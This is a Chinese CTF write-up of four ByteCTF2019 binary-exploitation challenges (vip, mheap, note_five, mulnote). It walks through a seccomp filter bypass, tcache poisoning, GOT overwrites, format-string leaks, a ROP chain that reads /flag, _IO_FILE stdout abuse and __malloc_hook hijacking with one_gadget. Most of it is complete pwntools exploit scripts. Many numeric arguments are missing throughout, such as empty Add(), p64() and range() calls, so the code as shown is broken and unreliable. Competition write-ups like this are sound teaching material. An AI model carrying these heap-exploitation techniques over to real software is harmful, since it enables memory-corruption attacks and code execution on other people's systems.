ByteCTF2019
阅读原文时间:2023年07月08日阅读:6

VIP

先检查一下程序开的保护:

程序只开了canary和nx保护.接下来用IDA分析反编译出的伪代码

如上图,载edit函数中我们可以控制size的大小,并且程序没有做任何检查,我们再跟进去看下,

第一个if语句中,因为dword_4040e0默认是0,所以我们不好利用。open函数正常情况下会返回一个文件描述符,read函数接下来会读入一些随机值,也不好控制。其实有办法控制open函数的返回值,这是这题的关键所在,接下来会讲。

程序还有自定义函数调用了prctl函数用来过滤一些系统调用,由于第一次碰到这个函数,所以我们着重分析一下。

查看man手册,给了如下解释:

prctl() is called with a first argument describing what to do (with values defined in ), and further arguments with a significance depending onthe first one.

先看第一个程序给的第一个函数:

第一参数是38,我们需要查看一下宏定义才知道这个参数是什么意思,文件在/usr/include/linux/prctl.h中:

接着查看man手册看看这个参数有什么作用:

PR_SET_NO_NEW_PRIVS (since Linux 3.5)
Set the calling thread's no_new_privs bit to the value in arg2. With no_new_privs set to 1, execve(2) promises not to grant privileges to do anything
that could not have been done without the execve() call (for example, rendering the set-user-ID and set-group-ID mode bits, and file capabilities non-
functional). Once set, this bit cannot be unset. The setting of this bit is inherited by children created by fork() and clone(), and preserved across
execve().

          Since Linux 4.10, the value of a thread's no\_new\_privs bit can be viewed via the NoNewPrivs field in the /proc/\[pid\]/status file.

          For more information, see the kernel source file Documentation/userspace-api/no\_new\_privs.rst (or Documentation/prctl/no\_new\_privs.txt before Linux 4.13).  
          See also seccomp().

由上可知当arg2的值为1时,execve不能使用了。题目给的第二个参数刚好是1,所以execve被禁了。

接下来看第二个prctl函数。

还是先去/usr/include/linux/prctl.h查看对应的宏定义

接着在man手册中查看该参数的含义

   PR\_SET\_SECCOMP (since Linux 2.6.)  
          Set the secure computing (seccomp) mode for the calling thread, to limit the available system calls.  The more recent seccomp() system  call  provides  a  
          superset of the functionality of PR\_SET\_SECCOMP.

          The seccomp mode is selected via arg2.  (The seccomp constants are defined in <linux/seccomp.h>.)

          With  arg2 set to SECCOMP\_MODE\_STRICT, the only system calls that the thread is permitted to make are read(), write(), \_exit() (but not exit\_group()),  
          and sigreturn().  Other system calls result in the delivery of a SIGKILL signal.  Strict secure computing mode is useful  for  number-crunching  applica‐  
          tions  that may need to execute untrusted byte code, perhaps obtained by reading from a pipe or socket.  This operation is available only if the kernel is  
          configured with CONFIG\_SECCOMP enabled.

          With arg2 set to SECCOMP\_MODE\_FILTER (since Linux 3.5), the system calls allowed are defined by a pointer to a Berkeley  Packet  Filter  passed  in  arg3.  
          This  argument  is  a pointer to struct sock\_fprog; it can be designed to filter arbitrary system calls and system call arguments.  This mode is available  
          only if the kernel is configured with CONFIG\_SECCOMP\_FILTER enabled.

          If SECCOMP\_MODE\_FILTER filters permit fork(), then the seccomp mode is inherited by children created by fork(); if execve() is permitted, then the sec‐  
          comp mode is preserved across execve().  If the filters permit prctl() calls, then additional filters can be added; they are run in order until the first  
          non-allow result is seen.

          For further information, see the kernel source file Documentation/userspace-api/seccomp\_filter.rst (or Documentation/prctl/seccomp\_filter.txt before Linux  
          4.13).

由上可知arg2有两种选择,一种是SECCOMP_MODE_STRICT,另一种是SECCOMP_MODE_FILTER,我们还是在/usr/include/linux/seccomp.h中先查看一下宏定义,发现

根据上面的解释可知arg3是一个struct sock_fprog的结构体(具体关于这个结构体读者可以自行百度,在此我就不再赘述),这个结构体决定prctl过滤什么系统调用。现在我们在看下IDA反编译出来的伪代码:

很明显,我们在输入name时可以控制v1中的值从而控制这个结构体来禁用我们想要的系统调用。已知open函数在内部会调用openat函数,如果我们禁用调openat,open函数就会返回,那么之前分析的存在溢出的read函数就可以利用了。

这里我们需要一个工具:seccomp_tools,链接:https://github.com/david942j/seccomp-tools

分析一下程序:

我们可以仿照这个格式写一个汇编程序替换这个结构体,代码如下:

A = arch
A == ARCH_X86_64 ? next : dead
A = sys_number
A == execve ? dead : ok
ok:
return ALLOW
dead:
return ERRNO() #这里不能写return KILL,否则程序就会直接退出

用seccomp-tools汇编一下:

" \x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x03>\x00\x00\xC0 \x00\x00\x00\x00\x00\x00\x00\x15\x00\x01\x00;\x00\x00\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x05\x00"

出来的结果有些不是以ascii码显示的,所以我们要处理一下,最终结果如下:

"\x20\x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x03>\x00\x00\xC0\x20\x00\x00\x00\x00\x00\x00\x00\x15\x00\x01\x00\x3E\x00\x00\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x05\x00"

只要在输入name是替换调原来的结构,就可以实现任意长度写。

根据程序给的是libc可知有tcache,而libc-2.27.so中的tcache在malloc时是没有大小检查的,而通过溢出我们又可以控制tcache中chunk的fd指针,那么我们那就可以把任意地址放入tcache中在再配出来,就可以控制其中的值了。

第一步:

先分配三个chunk0,chunk1,chunk2,再free调chunk1,chunk2,然后调用show函数,就可以泄漏堆地址,如下:

Add()
Add()
Add()
Free()
Free()

payload = 'A'*0xc0
Edit(, len(payload), payload)
Show()
p.recvuntil('A'*0xc0)
chunk_addr = u64(p.recvuntil('\n', drop = True).ljust(, '\x00')) - 0x28 - 0x38
info("chunk_addr ==> "+hex(chunk_addr))

第二步:

修改chunk2的fd指针为puts_got,实现got修改,然后利用格式化字符串漏洞泄漏stack地址,此处stack地址为main函数的栈底下一个地址,方便后续构造ROP链:

#复原chunk1,chunk2
payload = '/flag' + '\x00'*0x53 + p64(0x61) + p64(puts_got) + '\x00'*0x48 + p64(0x60) + p64(0x61) + p64(puts_got)
Edit(, len(payload), payload)

#分配puts_got
Add()
Add()

#向puts_got中写入printf_plt
payload = p64(printf_plt)
Edit(, len(payload), payload)

#泄漏stack地址
payload = '%8$p%17$p'
Edit(, len(payload), payload)
Show()
stack_addr = int(p.recv(), ) - 0x38 + 0x40
info("stack_addr ==> " + hex(stack_addr))
libc_base = int(p.recv(, ), ) - 0x21b97
info("libc_base ==> " + hex(libc_base))

第三步:

把stack放入tcache中然后分配出来:

#把stack_addr放入tcache_bin中
Free()
payload = '/flag' + '\x00'*0x53 + p64(0x61) + '\x00'*0x50 + p64(0x60) + p64(0x61) + p64(stack_addr)
#gdb.attach(p)
Edit(, len(payload), payload)

#分配stack
Add()
Add()

第四步:

构造ROP链:

pop_rdx_ret = libc_base + 0x1b96
syscall_addr = libc_base + 0x11b820 + 0x17
pop_rax_ret = libc_base + 0x439c8
pop_rbx_ret = libc_base + 0x2cb49
puts_addr = libc_base + libc.symbols['puts']

#构造ROP链
payload = p64(pop_rdi_ret) + p64(chunk_addr) + p64(pop_rsi_r15_ret) + p64() + p64() + p64(pop_rdx_ret) + p64() + p64(pop_rax_ret) + p64() + p64(syscall_addr)
payload += p64(pop_pop_pop) + p64() + p64() + p64(read_got) + p64() + p64(chunk_addr) + p64()
payload += p64(call_addr) + '\x00'*
payload += p64(pop_rdi_ret) + p64(chunk_addr) + p64(puts_addr)
Edit(, len(payload), payload)

for i in range():
info("i ==> " + str(i))
p.sendlineafter('Your choice: ', '')
p.sendlineafter('Index: ', '')

完整的exp如下:

#-*-coding:utf--*-
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./vip')
elf = ELF('vip')
libc = ELF('libc-2.27.so')

def Become(name, choice):
p.recvuntil('Your choice: ')
p.sendline('')
if choice == :
p.recvuntil('your name: ')
else:
p.recvuntil('your name: \n')
p.send(name)

def Add(index):
p.sendlineafter('Your choice: ', '')
p.sendlineafter('Index: ', str(index))

def Edit(index, size, content):
p.sendlineafter('Your choice: ', '')
p.sendlineafter('Index: ', str(index))
p.sendlineafter('Size: ', str(size))
p.sendafter('Content: ', content)

def Free(index):
p.sendlineafter('Your choice: ', '')
p.sendlineafter('Index: ', str(index))

def Show(index):
p.sendlineafter('Your choice: ', '')
p.sendlineafter('Index: ', str(index))

def Format(format__):
p.sendafter('Your choice: ', format__)

#原长度为31个字节,在最后加一个字节,以便完全覆盖原来的数据
payload = '\x00'*0x20 + '\x20\x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x03\x3E\x00\x00\xC0\x20\x00\x00\x00\x00\x00\x00\x00\x15\x00\x01\x00\x01\x01\x00\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x05\x00'
Become(payload, )

open_plt = elf.plt['open']
printf_plt = elf.plt['printf']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
pop_ebp_ret = 0x4011d9
pop_rdi_ret = 0x4018fb
pop_rsi_r15_ret = 0x4018f9
pop_pop_pop = 0x4018f2
call_addr = 0x4018d8
read_got = elf.got['read']

Add()
Add()
Add()
Free()
Free()

payload = 'A'*0xc0
Edit(, len(payload), payload)
Show()
p.recvuntil('A'*0xc0)
chunk_addr = u64(p.recvuntil('\n', drop = True).ljust(, '\x00')) - 0x28 - 0x38
info("chunk_addr ==> "+hex(chunk_addr))

#复原chunk1,chunk2
payload = '/flag' + '\x00'*0x53 + p64(0x61) + p64(puts_got) + '\x00'*0x48 + p64(0x60) + p64(0x61) + p64(puts_got)
Edit(, len(payload), payload)

#分配puts_got
Add()
Add()

#向puts_got中写入printf_plt
payload = p64(printf_plt)
Edit(, len(payload), payload)

#泄漏stack地址
payload = '%8$p%17$p'
Edit(, len(payload), payload)
Show()
stack_addr = int(p.recv(), ) - 0x38 + 0x40
info("stack_addr ==> " + hex(stack_addr))
libc_base = int(p.recv(, ), ) - 0x21b97
info("libc_base ==> " + hex(libc_base))

#把stack_addr放入tcache_bin中
Free()
payload = '/flag' + '\x00'*0x53 + p64(0x61) + '\x00'*0x50 + p64(0x60) + p64(0x61) + p64(stack_addr)
#gdb.attach(p)
Edit(, len(payload), payload)

#分配stack
Add()
Add()

pop_rdx_ret = libc_base + 0x1b96
syscall_addr = libc_base + 0x11b820 + 0x17
pop_rax_ret = libc_base + 0x439c8
pop_rbx_ret = libc_base + 0x2cb49
puts_addr = libc_base + libc.symbols['puts']

#构造ROP链
payload = p64(pop_rdi_ret) + p64(chunk_addr) + p64(pop_rsi_r15_ret) + p64() + p64() + p64(pop_rdx_ret) + p64() + p64(pop_rax_ret) + p64() + p64(syscall_addr)
payload += p64(pop_pop_pop) + p64() + p64() + p64(read_got) + p64() + p64(chunk_addr) + p64()
payload += p64(call_addr) + '\x00'*
payload += p64(pop_rdi_ret) + p64(chunk_addr) + p64(puts_addr)
Edit(, len(payload), payload)

for i in range():
info("i ==> " + str(i))
p.sendlineafter('Your choice: ', '')
p.sendlineafter('Index: ', '')

p.interactive()

参考博客:http://www.secwk.com/2019/09/20/6564/

记录一下自己踩的坑及疑惑:

  • 由于不能getshell,我们在最后采用orw,但是在打印环节我开始调用的printf函数,结果因为一些寄存器的值被修改导致调用失败最后是改为puts才成功,当然这里用write也可以,只不过比较麻烦,所以printf函数还是比较坑的,能能少用就少用
  • 前面openat函数被过滤了,但是直接以syscall的形式调用open可以成功,以ret2open@plt的形式就会失败,这是为什么?

Mheap:

先看程序开的保护:

发现可以修改GOT。程序就四个功能:Alloc,Free,Edit,Show。不过这题的特殊之处是自己手动实现的类似ptmalloc的堆分配机制。

我们着重看读入字符串的函数:

若read函数第二参数为非法地址,则read函数会返回-1,那这时read函数第二个参数就会减1,利用这个特性我们可以完成一系列的利用。

这题要注意当read函数返回-1后再次读入数据时还是从头开始读,并不是接着刚才的额读下去。

最终的exp如下:

from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./mheap')
libc = ELF('libc-2.27.so')

def Alloc(index, size, content, flag):
p.sendlineafter('Your choice: ', '')
p.sendlineafter('Index: ', str(index))
p.sendlineafter('Input size: ', str(size))
if flag == :
p.sendafter('Content: ', content)
elif flag == :
p.sendlineafter('Content: ', content)

def Show(index):
p.sendlineafter('Your choice: ', '')
p.sendlineafter('Index: ', str(index))

def Free(index):
p.sendlineafter('Your choice: ', '')
p.sendlineafter('Index: ', str(index))

def Edit(index, content):
p.sendlineafter('Your choice: ', '')
p.sendlineafter('Index: ', str(index))
p.send(content)

got_addr = 0x404000

Alloc(, 0x10, 'A'*, )
Free()
#Alloc(, 0xfd0+0x2d, '\x10'*0xffd, )
Alloc(, 0xfd0+0x28, p64(got_addr) + '\x0a'*0x20 + '\x0a'*0xfd0, )
#p.sendline('AA')
#gdb.attach(p)
Alloc(, 0x403e10, 'A'*0x7, )

Show()
p.recv()
puts_addr = u64(p.recv().ljust(, '\x00'))
info("puts_addr ==> " + hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
__stack_chk_fail_addr = libc_base + libc.symbols['__stack_chk_fail']
mmap_addr = libc_base + libc.symbols['mmap']
printf_addr = libc_base + libc.symbols['printf']
memset_addr = libc_base + libc.symbols['memset']
read_addr = libc_base + libc.symbols['read']
setvbuf_addr = libc_base + libc.symbols['setvbuf']

Free()
payload = 'A'*0x8 + p64(puts_addr)
payload += p64(__stack_chk_fail_addr)
payload += p64(mmap_addr)
payload += p64(printf_addr)
payload += p64(memset_addr)
payload += p64(read_addr)
payload += p64(setvbuf_addr)
payload += p64(system_addr)
Alloc(, 0x403e10, payload, )

p.sendlineafter('Your choice: ', '/bin/sh\x00')

p.interactive()

以前做过的一个题是利用read函数会把第三个参数当作无符号数解析,特在此记录下


note_five:

先查看一下程序的保护:

查看IDA反编译出的伪代码,发现漏洞主要在读入数据时存在单字节溢出:

利用思路:

  • 先分配5个chunk,修改chunk3的prev_size和prev_inuse位,free掉chunk3,造成chunk overlapping
  • 利用unsortedbin attack修改global_max_fast的值,这样我们所有分配释放的chunk都会按照fastbin chunk处理
  • 利用部分写把chunk分配到_IO_2_1_stdout_附近,修改开始的标志数据和_IO_write_base,达到泄漏的目的
  • 由于不能vtable不能写,所以我们伪造整个vtable,并修改_IO_2_stdout_中vtable的值

记录一下自己踩坑的地方:

  • 在触发unlink时我们常用的手段是伪造chunk的prev_size,size,fd,bk。但这题通过先释放chunk0,再伪造chunk3的prev_size和prev_inuse同样绕过了检查
  • 在释放fastbin chunk时会对其物理相邻的下一个chunk的size进行一系列检查,需要注意
  • 修改_IO_2_1_stdout_进行泄漏是只需修改_IO_write_base即可,而其_IO_read_base, _IO_read_end, _IO_read_ptr为零也没关系

#-*- coding:utf- -*-
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./note_five')
libc = ELF('libc.so')

def Add(index, size):
p.sendlineafter('choice>> ', '')
p.sendlineafter('idx: ', str(index))
p.sendlineafter('size: ', str(size))

def Edit(index, content):
p.sendlineafter('choice>> ', '')
p.sendlineafter('idx: ', str(index))
p.sendafter('content: ', content)

def Delete(index):
p.sendlineafter('choice>> ', '')
p.sendlineafter('idx: ', str(index))

Add(, 0xf8)
Add(, 0xf8)
Add(, 0xf8)
Add(, 0xf8)
Add(, 0xf8)

#伪造chunk3的prev_size和prev_inuse位,再释放调chunk0和chunk3,造成chunk overlapping,可以得到大小为0x400的unsortbin chunk
payload = '\x00'*0xf0 + p64(0x300) + '\x00'
Edit(, payload) #chunk overlapping
Delete()
Delete()

Add(, 0x108)
Add(, 0xe8)
payload = '\x00'*0x8 + '\xe8\x37' + '\n'
Edit(, payload) #修改bk指针指向&global_max_fast-0x10处,为unsortedbin attack做准备
Add(, 0x1f8)

Delete()
payload = p64() + p64(0xf1) + '\x3b\x25' + '\n'
Edit(, payload)

Add(, 0xe8)
Add(, 0xe8) #chunk4可控制_IO_2_1_stderr

#在&_IO_2_1_stdout_0x10处填入0x1f1,伪造chunk大小,并修改_IO_2_1_stdout_的flag的值为0xfbad1800
#修改flag的值是为了绕过一些列检查,至于为什么改为这个值读者可百度其他相关_IO_FILE的文章
payload = '\x00'*0xcd + p64(0x1f1) + '\x00\x18\xad\xfb' + '\n'
Edit(, payload)

#此处修改大小是因为原来的链表被破坏,需要通过修改大小换一个索引
Edit(, '\x00'* + p64(0x1f1) + '\n')

Delete()
payload = '\x00'*0x8 + p64(0x1f1) + '\x10\x26' + '\n'
Edit(, payload)

Add(, 0x1e8)
Add(, 0x1e8) #chunk4可控制_IO_2_1_stdout

payload = p64(0xfbad1800) + p64()* + '\x00\n'
Edit(, payload)

p.recvuntil('\x00\x18\xad\xfb')
p.recv()

libc_base = u64(p.recv()+'\x00\x00') - 0x3c5600
info("libc_base ==> " + hex(libc_base))

one_gadget = libc_base + 0xf1147

#保持_IO_2_1_stdout_的其他数据不动,只修改vtable的值,并在stderr处写入one_gadget
payload = p64(0xfbad1800) + p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 0x83)
payload += p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 0x83) + p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 0x83)
payload += p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 0x83) + p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 0x83)
payload += p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 0x84) + p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 0x83)
payload += p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 0x84) + p64()
payload += p64() + p64()
payload += p64() + p64(libc_base + libc.sym['_IO_2_1_stdin_'])
payload += p64() + p64(0xffffffffffffffff)

此处原来的数据是0x0a000000,由于'\x0a'会被输入截断,故改为0x0b000000

payload += p64(0x0b000000) + p64(libc_base + 0x3c6780)
payload += p64(0xffffffffffffffff) + p64()
payload += p64(libc_base + 0x3c47a0) + p64()
payload += p64() + p64()
payload += p64(0xffffffff) + p64()
payload += p64() + p64(libc_base + 0x3c56c8)
payload += p64(one_gadget) + '\n'
info("len(payload) ==> " + hex(len(payload)))
info("one_gadget ==> " + hex(one_gadget))
#gdb.attach(p)
Edit(, payload)

p.interactive()


mulnote:

查看程序开的保护:

发现只有canary保护没开。接下来用IDA查看反编译出的代码。

main函数中通过不断改变v4的值来实现不同分支的选择,所以main函数相当于一个巨大的switch函数,不用细看,只需要关注其他自定义函数实现的功能。

Add函数:

能分配大小不大于0x10000的chunk,并写入size-1个字节

Edit函数:

是根据strlen函数的返回值来确定读入字节数

Show函数:

一次性打印所有chunk的内容

Free函数:

最坑的就是这个函数,不得不说出题人的用心险恶。起先我找到的是这个函数:

一个很简单的函数,啥洞也没留。但是当我调试时发现free掉的chunk指针并没有清零,这可把我高兴坏了。但是疑问随之而来,这明显跟我们分析出来的不一样啊。接下来我就调试跟踪看了一下free的具体过程,结果发现在调用刚才那个函数之前调用了这个函数:

初看这个函数我是挺懵的,感觉啥也没干啊,接着看了一下汇编代码,别有洞天啊,不得不说还是不能太相信IDA反编译出来的代码。

查看汇编代码发现调用了这个函数:

就是这个函数导致free后指针没有清零,关于这个函数读者可自行百度。

搞清楚后利用就简单了:

  • 先malloc大小不属于fastbin的chunk再free调泄漏libc基址
  • malloc一个大小为0x60的chunk在free,并修改fd指针指向__malloc_hook附近
  • 分配chunk控制__malloc_hook并向其写入one_gadget

其实在我以为free后指针会清零的时候,我的利用思路是:

  • 利用realloc分配一个小于原chunk的chunk造成堆溢出
  • 修改chunk的size造成chunk overlapping并泄漏libc
  • 再次利用chunk overlapping控制fd指针指向__malloc_hook附近
  • 分配chunk控制__malloc_hook并向其写入one_gadget

不过我没试过行不行。

最终exp如下:

from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./mulnote')
libc = ELF('libc.so')

def Add(size, content):
p.sendlineafter('>', 'C')
p.sendlineafter('size>', str(size))
p.sendafter('note>', content)

def Edit(index, content):
p.sendlineafter('>', 'E')
p.sendlineafter('index>', str(index))
p.sendafter('new note>', content)

def Show():
p.sendlineafter('>', 'S')

def Delete(index):
p.sendlineafter('>', 'R')
p.sendlineafter('index>', str(index))

Add(0x80, 'A'*)
#gdb.attach(p)
Delete()
Show()

p.recvuntil('\n')
libc_base = u64(p.recv()+'\x00\x00') - 0x3c4b78
info("libc_base ==> " + hex(libc_base))
one_gadget = libc_base + 0x4526a
info('one_gadget ==> ' + hex(one_gadget))
fake_chunk = libc_base + 0x3c4aed

Add(0x60, 'AAAAAAAA')
Add(0x60, 'BBBBBBBB')
Add(0x60, 'CCCCCCCC')

Delete()
Delete()

Edit(, p64(fake_chunk)[:])

Add(0x60, 'AAAAAAAA')
Add(0x60, 'A'*0x13 + p64(one_gadget))

p.sendlineafter('>', 'C')
p.sendlineafter('size>', '')

p.interactive()